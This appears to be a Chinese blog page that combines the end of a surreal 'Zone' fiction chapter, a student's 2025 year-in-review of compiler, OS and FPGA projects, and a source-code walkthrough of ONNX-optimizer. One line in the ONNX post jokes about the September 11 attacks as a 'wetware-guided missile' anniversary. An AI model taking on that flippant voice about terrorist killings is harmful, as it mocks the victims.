但有一件事是绝对清楚的:汽车旅馆内部远比外面看起来宽敞。又向前走了几百米后,年轻人发现了一个向上的楼梯,尽管他可以发誓,从外面看汽车旅馆是平房。他克服着内心的抵抗,把脚放在第一级台阶上。令他愈发恐惧的是,在第二层之后是第三层,然后是第四层,第五层……

着魔似的,年轻人不停地走啊走……

在十七楼的楼梯平台上,他遇到了一个穿着体面的男人,他正忧郁地望着楼梯间的深处。他手里拿着一根点燃的香烟,从黑暗中跳动的火光判断,他的手抖得相当厉害。

“我呸,什么城市!”男人断言道,抽搐地吸了一口。“大概根本不存在!只是给神经衰弱者的童话。”

男人真的朝楼梯间的黑暗中吐了口唾沫,专注地观察着他这简单实验的结果,然后突然坐到台阶上哭了起来。年轻人不确定地笑了笑,他完全不知道在这种环境下该如何表现。

男人抽噎了一两下,然后站起来,几乎快活地笑了:

“好吧,再见!”

年轻人还没来得及做出任何反应,男人就像融化在了走廊的黑暗中。

年轻人茫然地在十七楼的走廊里转悠,又发现了两个向上和向下的楼梯,到了某个时刻,他明白自己彻底迷路了。他遇到各种各样的人,他们都在不停地谈论城市。但他们中没有人去过那里!

已经完全不自觉地,年轻人走进了一个巨大的大厅,那里摆着一张无尽的、精美布置的桌子,桌子后面坐着许多陌生或半熟、或者可能只是被遗忘的人。所有人仿佛接到命令,同时转过头,看着新来的人。汽车旅馆的老板从桌子的远端站起来,手里端着一杯起泡的香槟,热情地微笑着,大声说:

“好了,现在我们齐了。那么,让我们为城市和那些总是在路上的人干杯!”

年轻人茫然地笑了笑,手里不知从哪里冒出一个杯子。他犹豫了一瞬。有什么东西告诉他,这香槟不该喝。

但捕捉到老板嘲弄的目光后,年轻人果断地一饮而尽……

第二天,傍晚时分,另一个年轻人停在了汽车旅馆的门槛前:

“从这里到城市远吗?”

“到城市很远,而夜已临近。”

“我希望您的旅馆里有空房间?”

“您走运。刚好今天空出一间……一间。”


安东站在小山上,面前确实是一座城市。而奇迹般的是,里面住着人!但仔细一看,安东惊恐地意识到,那不是人。僵尸在城市里漫无目的、无可奈何地游荡……

“天哪!又来了!!!为什么?!”安东摇了摇头,努力摆脱幻觉。“这不可能!我刚刚才在核电站内部。这肯定是又一次幻觉。再稍微一下,再努力一下,幻觉就会消失……”

难道又要他在这些奇怪的、更像30年代表现主义电影怪诞布景的领土上徘徊?毕竟他现在记起了自己的过去!但问题是,这一切如何与现在联系起来?

安东在城镇的街道上走着,他现在对这里了如指掌,而脑海中浮现出另一座城市……

……白天,城市的街道空荡荡,几乎安全。当然,可能撞上“白盔”巡逻队,或者愚蠢地撞上完全疯狂的市民,他准备甚至对自己的影子进行长点射。但这只是小菜一碟,而在宵禁开始后,随着黑暗一起,一种动物性的恐怖浪潮爬上城市,压倒理性的残余,规定完全不同的生活规则和规范……


一切都是发电机的错!

什么发电机?!

戈德伯格疯狂地摇了摇头,城市的轮廓变得摇摆不定……

安东厌恶地环顾四周。他恨这座城市。粘稠、甜腻、烦人,像晚宴结束时的甜点。当所有客人都吃饱喝足,当沉重的头脑和饱胀的胃向那个几小时前还为自己的健康生活方式感到骄傲的人的良心呼吁。

城市也以同样的方式回报他。安东总是用背脊感觉到成千上万只眼睛那欺骗性地困倦的目光,它们从肿胀失眠的眼睑下不懈地注视着他,无论他在哪里,无论他在做什么。

有时安东受不了,猛地转身,直视城市的脸。但城市总是装睡。

多少年来,安东一直试图摆脱这种吸人的绝望的控制。但城市用无形联系、事务、冲突、习惯、责任和天知道什么的网缠住他,像一只吃饱的猫在玩一只吓得半死的猎物,时而稍放开,时而又霸气地把他放回原位。

但现在,安东的耐心终于耗尽,他决定……摧毁城市。只剩下一点:实现计划。

“胡说,”安东想,“既然它这么多年像用一块破抹布一样用我,难道我们的联系是单向的?!! ”

安东自信地穿过街道,钻进了熟悉的门洞。

“是你吗?”一个女人从厨房里喊他,安东已经和她一起努力了一年,想培育出某种共同成果,在他们生命现阶段唯一可能的东西——相互需要的幻觉。这个果实,一开始就羸弱,每天变得更加憔悴。在这座城市里,幻觉无法生存。

“不,”安东小声说,“是我的影子。”

“好吧,既然是影子,”女人冷漠地回答,“我希望它不用吃晚饭?”

安东从冰箱里拿了一罐啤酒,扑通一声坐到电视机前的椅子上。

“我恨,”他看着当天的新闻,城市在其中尽显其“美”:暴力、肮脏,以及对未来的粉红承诺作为诡辩式的平衡。

夜里,安东突然醒来。旁边睡着那个女人。她身体的轮廓,在薄床单下清晰可见,不知为何让安东想起了那个布局混乱的城市,其首要原则是缺乏常识。女人在梦中叹了口气,转身背对着安东。

戈德伯格光着脚走到厨房,拿了一瓶白兰地,开始直接从瓶口喝,直到灼热的液体似乎把他灌满到边缘,从眼睛里渗出浑浊的、恶毒的泪水。

突然,安东脑中好像有什么东西断了。一道明亮刺眼的光照亮了他潜意识中的那些角落,安东被恐惧淹没,但下一刻,他清晰地看到了如何摧毁城市。一切都简单得发疯!就像在任何复杂但统一的有机体中一样,城市有一个节点,所有的线在那里交织。潜力的线,主导和决定其存在的线,一个维持虚幻现状平衡的错综复杂的编织。要打破这个脆弱的平衡,只需要在相应的位置取出一块石头……

安东在此时完全空旷的街道上,朝着那个宝贵的点(所有城市力量线的交织点)目标明确地前进。

戈德伯格灵魂中沸腾的仇恨,慢慢而不可逆转地获得了某种确定性和预定性的特征,一种未被意识到的早期使命。

“我来了!”安东像梦游者一样走到中央广场的中央,闭上眼睛,跪下,用颤抖的双手在鹅卵石路面上摸索。他折断指甲,把手指擦出血,最后从路面上挖出一块不起眼的小石头,然后站直——也许是多年来的第一次。同一秒钟,城市颤抖了。在它的不同角落同时燃起大火,污水从下水道井口喷出。城市充满了哭喊和嚎叫。人们从房子里涌上街头。痉挛一次次地席卷城市。几栋最破旧的房子轰然倒下,向天空掀起烟尘的触手。半裸的疯狂人群,像呕吐物一样,从城市涌出。

城市的身体在抽搐中挣扎,向四周飞溅着污物、燃烧的碎片和无定形的混凝土块。然后,在最强烈的一次震动之后,城市像纸牌搭的房子一样倒塌了。

被毁坏的供水系统浇灭的大火瞬间熄灭。城市发出了最后一声沉重的叹息,向天空喷出沉重的蒸汽射流。在这叹息中,安东仿佛听到……感谢。

安东·戈德伯格独自站在灾难的中心。

“天哪,”戈德伯格茫然地想,“我没想到……我没想到……没想到……我能……这会有这样的后果……”

安东突然再次跪下,哭了起来。

但城市没有从灰烬中站起来……

这只是残余的谵妄……

(……谵妄的残余?……)

……但它们帮助记起了安东是如何进入特异区的。以及为什么。

因为事实上……


23. 第1层。回归 – 选项2

夜。

……偶尔天空被电光撕裂……

一辆卡车无声地从山丘上驶下……

……在又一次闪电中,可以看到驾驶室是空的,车厢里堆满了密封棺材的板条箱。

……大风暴开始了……

……棺材向四面八方飞去,部分棺材破裂,尸体从里面掉出来……

卡车的残余燃尽,大风暴平息……天开始慢慢亮起来。

突然,一个躺着的人呻吟一声,睁开了眼睛……

“我叫安东·戈德伯格,”他用嘶哑但清晰的声音说。“我知道我是谁,现在该做什么。现在我想起了一切!我记得这一切是如何开始的。我记得城市……”


第一部分结束

2025回顾

上课

  喜欢一周上8节操作系统吗?可太有操作了 :)


  喜欢一学期上3门思政吗?他的出身啊,红得发紫!

做实验

尼卓计网实验—OpenWrt

  尼软2023级开始有新的实验,使用OpenWrt框架检测流量。
  在普通班基础上,增加烧录至路由器实机作为必做内容,实际上却是降低难度,因为直接插线就有ssh用,可以不用折腾VMware。


  只写了CLI界面,所以附一张逼格波斯的帅脸。

尼卓的OS实验

  一共10个实验,牛🐮大了

  这10个魔丸分别是

  • 哲学家吃饭 (用pthread,信号量,共享内存,消息队列分别实现)
  • 生产者消费者 (同上)
  • 写一个ls
  • 写一个cp
  • 做一个能并发的 Linux WebServer( ?)
  • 写一个 Char 设备
  • 写 V4L2 设备驱动,并用电脑前置摄像头拍下帅照一张(我最后用ffmpeg转出的,但是照片搞丢了)
  • 配置 Keil5 工程
  • 在开发板上跑 uC/OS(忘记是2还是3了)
  • 改良 uC/OS 的调度算法

  可以很清楚地看到前面4个实验和后面6个根本不是一个画风的,之后采访其他方向的同学,了解到尼卓的实验大纲很有可能超级拼装来的,前4个是普通班实验,后面的不知道哪弄过来的。


  说实话后面三个都是水过去的,因为给的开发资料牛头不对马嘴,线也少给一根,当然更主要的是我根本不会嵌入式


  该课的期末考试最后一题是手写一个Linux内核态模块,实现ls的功能,并能用dmesg查看,但是也没说到底写到什么程度(一切尽在不言之中)

  没发图中红框的这根线,图是之前学长的做实验拍的。

Arm实验

  全程写 Arm汇编/C,然后仿真看看波形,也不上板,偏简单,没啥好说的

马原小科普文

  题目是《编译器的魔法:从“人话”到“机器语言”的哲学思考》(逆天)

做项目/课外实验

rotvi

  一个类似 vi 的 CLI 文本编辑器小玩具

  对比展示如图


  整体比较简单,但是 ncurses 的接口太复古了,文本上色很难受。

  token类型识别用的是正则表达式(所以无法精准识别),其实完全可以考虑内置一个 C 的前端获取 Ast 信息。

  地址:https://github.com/Leakbox258/rotvi

新 OS

  fedora 42,稳定性挺好,rpm 和 dnf 也还可以,N卡支持意外的好(不知道啥时候的一个更新之后),不过弄 CUDA 需要上点魔法,但是已安装字体太少,ibus更是一坨。

gnalc

  编译系统实现赛(华子赞助,奖金不老少)的参赛作品,拿了一个全国第一和一个外卡二等奖,被@caozhanhao带飞了说是。


  从24年11月份做到25年8月份,尼卓不得不评鉴的马拉松比赛,累积约13万行的修改

  由于我有一个单独的分支,所以交的很多 commit 都一坨一坨的,习惯不好。
  地址:[https://github.com/0x676e616c63/gnalc](https://github.com/0x676e616c63/gnalc) ##### C-Blunt   本意是补上编译器前端和中端的一些知识,C 编译到 mlir-scf,最后展平到 llvm-ir,但是不透明指针和隐式类型转换我又给执行坏了。
  最后上不去又下不来,变成白银编译器了。
  地址:[https://github.com/Leakbox258/C-Blunt](https://github.com/Leakbox258/C-Blunt) ##### rustlings & rcore   有 rust 和 OS 基础的情况下,rcore 部分大概一周就能看完做完,反正挺轻松的。
  宣传一下尼软的 rcore 训练营:[https://github.com/uestc-workshop-os-camp](https://github.com/uestc-workshop-os-camp)   有意向春夏季打全国大学生操作系统实现赛/挑战赛的请联系负责人或者加QQ群了解。 ##### etoy   魔改 google 的 mlir 教程得到的 tensor 计算器,作为对 mlir 实现 ai-compiler 的一点基本的了解和尝试。   ps:LLVM 编译笑传之吃撑爆,最后只能限制到只用4个核
  地址:[https://github.com/Leakbox258/etoy-mlir](https://github.com/Leakbox258/etoy-mlir) ##### riscv-as   可拓展的 RISC-V 汇编器,现在能支持 riscv64-gc 所有的指令/伪指令,不过宏指令支持比较少。   指令和伪指令的模式配置在`.def`文件中,并且所有这方面的过程都是constexpr的。 - 对指令的 Encoding 模式直接 slice 然后记录即可。 - 对于伪指令则是写了一个 constexpr Lisp 解析器,毕竟汇编的OpCode前置确实很像 Lisp 的算符前置。灵感来源:[https://github.com/AdUhTkJm/sysy-competition](https://github.com/AdUhTkJm/sysy-competition) 中   RegularFold 优化中设计的DSL

  ps:IDA 拿来看 Obj 确实好用,虽然已经不打 CTF 了

  地址:https://github.com/Leakbox258/riscv-as.git

Tai-e-assignments

  今年看了853分钟甜品专家 :)

  地址:https://tai-e.pascal-lab.net

  前3个实验都不算难,毕竟写过类似的东西,不过 ir 和 cfg 和之前接触过的不一样,加上我在此之前都没学过 java,所以看代码花了不少时间。

  指针分析到别名分析开始上强度,java 写起来很啰嗦,debug花了不少时间。

  最后的污点分析,OJ上最后的一个testcase卡了快一个月(虽然是中途做别的去了)

riscv64 软核

  (某种意义上的入组笔试)

  本来打算的是跟着一生一芯的进度学的,于是连了三四天的logisim。

  大概完成E阶段之后(补习数电知识之后),基本就是跳着看文档,找其中有用的东西搬到我的项目中再改改配置。

  在完成了一个单周期 MVP 之后,就从 Verilog 改用了 SystemVerilog,Verilog 没 struct 根本不是给人看的。

  之后的经历是:

  • 哈佛架构改冯诺伊曼架构
  • 64位加法链太长,所以得单周期改5级流水线
  • Quartus Lite 对 SystemVerilog 支持有限所以用工具转回 Verilog
  • 大型 reg/logic 数组难以综合,故改成调 IP 核
  • IP 核构建的同步 RAM 需要缓冲,又加两个流水级
  • 前递逻辑导致关键路径太长,再加一级流水级
  • 新的前递逻辑导致出现一条新的关键路径,重写 ALU 部分,提升并行性

  其实就是面多加水水多加面的过程,最后保持了在FPGA默认的50MHZ下能时序收敛,无需PLL调频。

  可以拿来做编译系统的测试平台:)

  地址:https://github.com/Leakbox258/riscv64i

新建文件夹

  包括不限于 https://opencamp.cn 上一大堆 fork 了但是一直没写的东西,综设的 Linker,还有 SICP .

Game🥌

MGSV

  I’m afraid it’s been…10 years

  **剧烈地振动**

S.T.A.L.K.E.R.2

  将近200个小时的游戏时间,2次哈基夫结局,1次牢疤结局

  • 1.6更新夜视仪之后基本就是一个完全可玩的状态了,不过罗斯托克或者熔渣堆这种npc很多场景还是会卡,内存泄漏还是没修
  • 我看这1.7更新搞得不错,变异体极大丰富,潜行者基本消灭,怪物内战、神器刷新(指能刷出切尔诺贝利之心,史特列牢克的一辈子)也受重视,如果加上更多奇美拉和大脚怪,1.7就是我们理想中的特异区
  • 1.8加了一个大概3小时流程的支线,僵尸电台本意是好的,但是流水账的任务设计又给执行坏了。
紫球

  最喜欢的玩法是沙漠之旅3v3,开局直接拉基地偷掉对位一家 AI 变成3打2

Stalker Anomaly

  一边玩儿一边看 Log 然后修 Bug 说是

  图为 GAMMA 0.94

ONNX-opt 0

今天是人类目前最大的湿件制导导弹命中目标的24(man!)周年

ONNX 简介

ONNX 是一个开放的深度学习框架中立的表示格式,旨在促进不同深度学习工具之间的互操作性。通过 ONNX,开发者可以在不同的深度学习框架之间轻松地转换模型,从而实现更高效的模型部署和推理。


ONNX 和 ONNX-runtime 是两个重要的组成部分,前者是模型计算图和权重的中间表示,后者是一个推理引擎,如下图。

所以 ONNX 主要用于 AI 模型的交换和部署:

  • 交换:对不同训练框架导出模型文件和权重文件进行转换
  • 部署:将模型文件和权重文件交给推理引擎进行运算

上图中的三段式和传统编译器的结构不谋而和,ONNX 虽然并不存在计算图或者算子上的简化,但是其中的一些结构对于模型的抽象使得优化其实不是完全不可能(进入编译器舒适区间了)


比如,现在已有的 ONNX-simplifier(虽然不是很流行),根据其描述是进行计算图上的常量折叠,以及他的third-part依赖ONNX-optimizer


相较于如何优化这方面,也很重要的方面是如何对 Pass 后的结果进行验证,下面是一些主流的 AI 编译器的测试方法(gen by Gemini)

框架/标准 主要验证策略 核心工具/方法
ONNX 结构合法性验证、数值一致性对比 onnx.checker、ONNX Runtime(对比不同优化级别/后端)、模型库测试
MLIR 逐层方言规约验证、Pass正确性断言 Dialect Verifier、mlir-opt + FileCheck、端到端数值对比
TVM 端到端数值对比、中间层IR对比、底层代码单元测试 Relay解释器(对比优化前后)、与NumPy对比、端到端与原始框架对比
Triton 与参考实现的数值一致性对比、梯度检查 与PyTorch Eager实现的输出对比、torch.autograd.gradcheck进行梯度验证

相比之下,ONNX 有一些优势,提供了足够的语法与结构规约验证(Syntactic and Structural Verification)的 Python API,不必一定要进行数值一致性对比 (Numerical Consistency Check), 虽然后者可以通过 ONNX Runtime 来实现


不过数值一致性对比还是很有必要的,但是对规模比较大的测例而言,算力也是一个问题


ONNX 的另一个优点在于,它不像是 TVM 进行端到端的训练和部署,所以研究性的工作可能会比轻松

ONNX 环境配置

由于是进行研究,所以需要一套源代码 ONNX 1.19.0 release


再次之前,墙裂建议使用conda等工具进行环境隔离


在编译之前,需要安装protobuf,以下是源代码编译安装

1
2
3
4
5
6
7
git clone https://github.com/protocolbuffers/protobuf.git
cd protobuf
git checkout v5.29.2
git submodule update --init --recursive
mkdir build_source && cd build_source
cmake -Dprotobuf_BUILD_SHARED_LIBS=OFF -DCMAKE_INSTALL_PREFIX=/usr -Dprotobuf_BUILD_TESTS=OFF -DCMAKE_BUILD_TYPE=Release -DCMAKE_POSITION_INDEPENDENT_CODE=ON ..
cmake --build . --target install

protobuf是一个关键的序列化工具,之后的源代码中的部分.cc.h文件是由其生成的
然后在主文件夹下使用pip install -e . -v就能编译安装,python 包管理器会将 onnx 关联到当前路径


不过,毕竟需要看代码,所以cmake相关的需要进行一点变动:

  • CMakeLists.txt中,加入一行set(CMAKE_EXPORT_COMPILE_COMMANDS TRUE), 以便生成compile_commands.json, 让clangd作为看c++时的lsp
  • 使用 cmake -DENABLE_FASTER_BUILD=OFF ., 如果开启快速编译,某些由protobuf生成的文件可能不会保存

在生成的onnx-ml.pb.h中,lsp可能无法解析符号PROTOBUF_NODISCARD, 根据这个commit,应该可以将其替换为编译器自带的[[nodiscard]]


onnx-ml.pb.h会校验c++版本,由于只是需要其提供定义和符号,所以也将其注释

1
2
3
4
5
6
7
#if PROTOBUF_VERSION != 5029002
#error "Protobuf C++ gencode is built with an incompatible version of"
#error "Protobuf C++ headers/runtime. See"
#error "https://protobuf.dev/support/cross-version-runtime-guarantee/#cpp"
...
...
#endif // ps: 这个endif在文件末尾

最后, 为了进行数据一致性检验,可能需要下一个onnx runtime

ONNX项目组成

由于国内(其实也包括国外),ONNX 的资料不算很多,近年来有些式微,很多训练框架并不愿意全盘兼容ONNX,导致ONNX主打的框架迁移用处不大,然后 ONNX-runtime也不算特别出色。


项目树(仅文件夹):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
$ tree onnx -d
├── bin
├── common
├── defs
│ ├── controlflow
│ ├── generator
│ ├── image
│ ├── logical
│ ├── math
│ ├── nn
│ ├── object_detection
│ ├── optional
│ ├── __pycache__
│ ├── quantization
│ ├── reduction
│ ├── rnn
│ ├── sequence
│ ├── tensor
│ ├── text
│ ├── traditionalml
│ └── training
├── frontend
├── inliner
├── onnx_cpp2py_export
├── reference

.pb的是由protobuf导出的c++文件,带_pb的是导出的python文件

  • bin: 存放了一个checker.py, 方便导出
  • common: c++ 编写的实用程序,如 assert,file,path,platform等, 其中有不少的是Highly Experimental
  • defs: 存放 ONNX 对于模型各个部件的定义,说实话从技术的角度上没什么好看的
  • frontend: 似乎是空的
  • onnx_cpp2py_export 以及 onnx_cpp2py_export...so: cpp 和 py 之间进行接口交换
  • reference: 定义了大量的算子,绝大多数是用numpy实现的
ONNX-optimizer

ONNX-optimizer 以 ONNX 作为依赖,配置基本如上所示, 显然更有研究的价值,虽然它的star量大概是其他 AI 编译器的百分之一,贡献者也只有几十人


ONNX-optimizer 使用 ONNX 作为 third-part, 也就是应该首先按照上述方法构建ONNX的环境,否则lsp应该是没法使用的.


首先是文件树:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
onnx-optimizer
├── c_api
│ ├── onnxoptimizer_c_api.cc
│ └── onnxoptimizer_c_api.h
├── cpp2py_export.cc
├── __init__.py
├── __main__.py
├── model_util.cc
├── model_util.h
├── onnxoptimizer_main.py
├── optimize.cc
├── optimize.h
├── pass.cc
├── passes
│ ├── adjust_add.h
│ ├── adjust_slice_and_matmul.h
│ ├── bitscast.h
│ ├── cse_util.h
│ ├── data_type.h
│ ├── eliminate_common_subexpression.h
│ ├── eliminate_consecutive_idempotent_ops.h
│ ├── eliminate_deadend.h
│ ├── eliminate_duplicate_initializer.h
│ ├── eliminate_identity.h
│ ├── eliminate_if_with_const_cond.h
│ ├── eliminate_nop_cast.h
│ ├── eliminate_nop_concat.h
│ ├── eliminate_nop_dropout.h
│ ├── eliminate_nop_expand.h
│ ├── eliminate_nop_flatten.h
│ ├── eliminate_nop_monotone_argmax.h
│ ├── eliminate_nop_pad.h
│ ├── eliminate_nop_reshape.h
│ ├── eliminate_nop_split.h
│ ├── eliminate_nop_transpose.h
│ ├── eliminate_nop_with_unit.h
│ ├── eliminate_shape_gather.h
│ ├── eliminate_shape_op.h
│ ├── eliminate_slice_after_shape.h
│ ├── eliminate_unused_initializer.h
│ ├── extract_constant_to_initializer.h
│ ├── fuse_add_bias_into_conv.h
│ ├── fuse_bn_into_conv.h
│ ├── fuse_concat_into_reshape.h
│ ├── fuse_consecutive_concats.h
│ ├── fuse_consecutive_log_softmax.h
│ ├── fuse_consecutive_reduce_unsqueeze.h
│ ├── fuse_consecutive_slices.h
│ ├── fuse_consecutive_squeezes.h
│ ├── fuse_consecutive_transposes.h
│ ├── fuse_consecutive_unsqueezes.h
│ ├── fuse_matmul_add_bias_into_gemm.h
│ ├── fuse_pad_into_conv.h
│ ├── fuse_pad_into_pool.h
│ ├── fuse_qkv.h
│ ├── fuse_transpose_into_gemm.h
│ ├── lift_lexical_references.h
│ ├── logging.h
│ ├── nop.h
│ ├── pass_util.cc
│ ├── pass_util.h
│ ├── rename_input_output.h
│ ├── replace_einsum_with_matmul.h
│ ├── rewrite_input_dtype.h
│ ├── set_unique_name_for_nodes.h
│ ├── split.h
│ ├── string_utils.h
│ ├── tensor_util.cc
│ └── tensor_util.h
├── pass.h
├── pass_manager.cc
├── pass_manager.h
├── pass_registry.cc
├── pass_registry.h
└── test
└── optimizer_test.py

可以看出项目比较紧凑(小)
了解构建模式之前,可以先看看给出的使用示例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
// onnx_optimizer_exec.cpp

/*
* SPDX-License-Identifier: Apache-2.0
*/
...

try {
ONNX_NAMESPACE::ModelProto model;
onnx::optimization::loadModel(&model, model_in_path, true);
onnx::checker::check_model(model);
auto new_model = onnx::optimization::Optimize(
model, onnx::optimization::GetFuseAndEliminationPass());
onnx::checker::check_model(new_model);
bool save_external_data = !model_data_path.empty();
onnx::optimization::saveModel(&new_model, model_out_path,
save_external_data, model_data_path);

} catch (std::exception& e) {
std::cout << e.what() << std::endl;
return -1;
}
return 0;

...

  • ModelProto: 继承于::google::protobuf::Message, 用于模型的存储,修改以及基于protobuf进行序列化, 由ONNX提供
  • loadModel: ONNX-opt提供,当true时,在模型文件同文件夹下寻找并加载额外文件(权重),并调用loadExternalDataForTensor,转化为tensor形式
  • check_model:按照ONNX标准进行检查
  • saveModel: 保存模型和权重
  • onnx::optimization::Optimize/OptimizeFixed: 优化过程分为常规优化和不动点优化,这两个接口将会被导出到python(需安装pybind11)
ONNX-optimizer

ONNX-opt 虽然是一个很古老的 AI 优化器,但可能也有一些参考价值
ONNX-opt 使用 Pass 对模型进行优化,参见源代码onnx-optmizer/pass.h中的 transform pass 的基类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
class Pass {
PassType pass_type;
PassEfficiency pass_efficiency;
PassOptimizationType pass_optimization_type;
...
};

// Enum that represents the type of optimization it is.
enum PassType {
// Class of optimizations that fuses operations.
Fuse = 0,
// Class of optimizations that removes useless operations.
Nop = 1,
// Class of optimizations that includes some form of separation.
Separate = 2,
// Immutable pass, also sometimes referred to as an analysis pass.
Immutable = 3,
// Class of optimizations that replaces nodes with other.
Replace = 4,
// Other type of pass.
Other = 5
};
enum PassOptimizationType {
// Is not optimizing anything. Most likely will be used in an immutable pass.
None = 0,
// Optimizes for compute.
Compute = 1,
// Optimizes for memory.
Memory = 2,
// Optimizes for both compute and memory.
ComputeMemory = 3,
// Optimizes for stability (e.g. log-sum-exp trick).
Stability = 4
};
enum PassEfficiency {
// A partially efficient optimization pass cannot guarantee that running two
// consecutive passes
// will return the same result as running a single pass.
Partial = 0,
// A completely efficient optimization guarantees that running two consecutive
// passes is equivalent
// to running a single pass.
Complete = 1
};

transform pass 基于操作类型划分有一下几类

  • Fuse: 进行算子合并
  • Nop: 进行冗余消除
  • Separate:进行算子拆分
  • Immutable: 前后模型不变的pass,有时指代 analysis pass
  • Replace: 对计算图节点进行替换
  • Other: 其他
    基于pass的效果划分有一下几类
  • None: 无
  • Compute: 改善计算
  • Memory: 改善访存
  • ComputeMemory: …
  • Stability: 提高稳定性

最后,一个pass的效果可能是稳定的,也可能是不稳定的


同样,还有analysis pass,定义相对简单, 依赖于上面的Immutable pass,一个 analysis pass 通过 runPass 的返回值获取分析结果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
class Pass {
...
virtual std::shared_ptr<PostPassAnalysis> runPass(Graph &graph) = 0;
...
}

// Base struct representing result of a pass.
struct PostPassAnalysis {
virtual ~PostPassAnalysis() = default;
};

// Enum that represents the return type of the analysis.
enum PassAnalysisType {
// An empty analysis is returned. Most likely will return PostPassAnalysis.
Empty = 0,
// A count based analysis is returned. Most likely of type
// CountBasedPassAnalysis
CountBased = 1
};

// Pass Analysis done after a predicate based pass.
struct CountBasedPassAnalysis : PostPassAnalysis {
Pass *pass;
...
bool graphChanged();
bool numSucceededTransforms();

...

// Whether or not a repeated application of the pass might be useful.
bool fixedPointOptimizationNeeded() {
return this->graphChanged() &&
pass->getPassEfficiency() == PassEfficiency::Partial;
}
...
};

CountBasedPassAnalysis应该是目前ONNX-opt唯一的PostPassAnalysis的继承示例(empty无需继承)


Pass *passrunPass 中传入的 this 指针

PassManager

ONNX-opt 有两类Manager可用,对应上一节提到的两种Optimizer, 一种是GeneralPassManager,另一种是FixedPointPassManager

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
class PassManager {
...
};

class GeneralPassManager : public PassManager {
public:
GeneralPassManager() {}
~GeneralPassManager() override;

void add(std::shared_ptr<Pass> pass) override;
std::shared_ptr<PassManagerAnalysis> run(Graph& graph) override;

protected:
std::vector<std::shared_ptr<Pass>> passes;
};

class FixedPointPassManager : public GeneralPassManager {
std::shared_ptr<PassManagerAnalysis> run(Graph& graph) override;
};

没有任何理解上的难度,下面是如何实现这么一个 fix point:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
std::shared_ptr<PassManagerAnalysis> FixedPointPassManager::run(Graph& graph) {
bool fixed_point_optimization_done;

do {
fixed_point_optimization_done = false;
for (const std::shared_ptr<Pass>& pass : this->passes) {
std::shared_ptr<PostPassAnalysis> analysis = pass->runPass(graph);
if (pass->getPassAnalysisType() == PassAnalysisType::Empty) {
continue;
}
std::shared_ptr<CountBasedPassAnalysis> count_analysis =
std::static_pointer_cast<CountBasedPassAnalysis>(analysis);

while (count_analysis->fixedPointOptimizationNeeded()) {
count_analysis = std::static_pointer_cast<CountBasedPassAnalysis>(
pass->runPass(graph));
fixed_point_optimization_done = true;
}
}
} while (fixed_point_optimization_done);

return std::shared_ptr<PassManagerAnalysis>(new EmptyPassManagerAnalysis());
}

也是非常简单,当runPass返回的 analysis 结果不为空时,调用fixedPointOptimizationNeeded检查是否可以进行不动点迭代,然后一直迭代到没有不同点为止

两类 transform pass
PredicateBasedPass

基于计算图上匹配字图的 transform pass,有两个关键方法patternMatchPredicaterunTransform, 在实际进行pass之前,先使用前者匹配字图, 如果匹配到则调用后者进行转换,这个流程在 runPass -> _runPassInternal 执行。ONNX-opt 的大部分的 pass 都是这种类型

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
class PredicateBasedPass : public Pass {
public:
explicit PredicateBasedPass(PassType pass_type,
PassEfficiency pass_efficiency,
PassOptimizationType pass_optimization_type)
: Pass(pass_type, pass_efficiency, pass_optimization_type) {}
~PredicateBasedPass() override;

virtual bool patternMatchPredicate(Node *node) = 0;
virtual bool runTransform(Node *node, Graph &graph,
NodeDestroyType &destroy_current) = 0;

std::shared_ptr<PostPassAnalysis> runPass(Graph &graph) override;
PassAnalysisType getPassAnalysisType() const override;

static int getOpsetVersion(const Graph &g) {
Graph &mut_g = const_cast<Graph &>(g);
for (const OpSetID &opset : mut_g.opset_versions_mutable()) {
if (opset.domain() == "") {
return opset.version();
}
}
return 0;
}

private:
unsigned int _runPassInternal(Graph &graph);
};

这里比较重要的是 runTransform 是如何修改图的,这个需要之后对 ONNX 的 IR, Node, Graph 等内容进行分析

FullGraphBasedPass

在图上的优化:

1
2
3
4
5
6
7
8
9
// The most general pass which allows the user to run a pass given only a graph.
class FullGraphBasedPass : public Pass {
public:
explicit FullGraphBasedPass(PassType pass_type,
PassEfficiency pass_efficiency,
PassOptimizationType pass_optimization_type)
: Pass(pass_type, pass_efficiency, pass_optimization_type) {}
~FullGraphBasedPass() override;
};

举个例子,eliminate_deadend.h, 大致就是在计算图上,根据use关系,找到 unreachable node 并删除的优化

1
2
3
4
5
6
7
8
9
10
11
12
unsigned int EliminateDead(Graph& graph) {
unsigned int nodes_removed = 0;
auto nodes = graph.nodes().reverse();
for (auto it = nodes.begin(); it != nodes.end(); it++) {
auto node = *it;
if (!node->hasUses()) {
nodes_removed++;
it.destroyCurrent();
}
}
return nodes_removed;
}

可以看到,nodes 是图中节点的拓扑排序

ONNX IR

位于源文件 onnx/ir.h, 有三个关键结构 Value, Node, Graph

1
2
3
4
5
6
7
8
9
10
11
12
13
// Graph represents one "function" of computation.
// It uses a simple ownership model where the graph owns all the nodes inside it.
// All references inside the graph are raw pointers.
// Destroying the Graph will invalidate any pointers to nodes in the graph.
struct Graph;

// Node is the base class of the IR graph. It represents one computation
// and dependencies on a list of Values. The "prim-ops", so to speak.
struct Node;

// A Value represents an input or output to node that is either a
// Tensor or an opaque Handle object, as determined by type().
struct Value;

Value 持有定义本身的 Node 的引用,即一个 Value 是一个 Node 的 output 之一,即 use-def关系中的 def关系

1
2
3
4
5
6
7
8
9
10
11
12
13
struct Value final {
Node* node_;
size_t offset_;
size_t unique_ = 0; // unique id
size_t stage_ = 0; // 0-forward, 1-backward, 2-double-backward,...
